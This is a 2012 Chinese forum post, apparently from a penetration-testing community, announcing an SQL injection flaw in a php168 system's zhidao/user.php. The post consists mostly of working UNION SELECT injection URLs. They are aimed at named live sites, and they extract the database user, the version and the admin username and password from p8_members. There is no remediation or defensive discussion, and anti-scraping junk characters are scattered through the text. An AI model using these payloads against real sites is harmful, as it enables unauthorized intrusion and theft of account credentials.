中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--- F# h# ]! Y- u  t9 ]
                                                      ( [# R$ F6 r1 c2 A" G+ V1 s' D
                                    [attach]94[/attach]* j/ f& r! Z7 j7 M' n1 p

, d; \( x4 ~6 G- }* Q8 H, dhttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
) T! |4 P1 M$ f; A6 f7 C
7 M8 T+ I  I7 X  K) f! x( L0 I                                                                2 t, B5 z( r* `% J
                                                      [attach]95[/attach]3 i; [8 s: J3 y
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--4 n4 t- n8 j9 C  X. A* j

( q- {  U2 N* h$ l
% e$ R) r0 ^+ I8 R0 p5 X) C8 L3 r1 S4 G7 x& Z
                                                         [attach]96[/attach]  F  _3 i7 |( `
1 F1 t& I# f0 T" q* I1 I: q
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
' e" b% ^# u2 H' n- [' V+ p+ O2 k
' n' B' @# h+ k# a/ [5 u; u" s  v. h( i1 {+ O

7 {# @0 c$ \; {+ Y                                                                   [attach]97[/attach]
$ s4 d+ R) G6 R0 `1 _

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)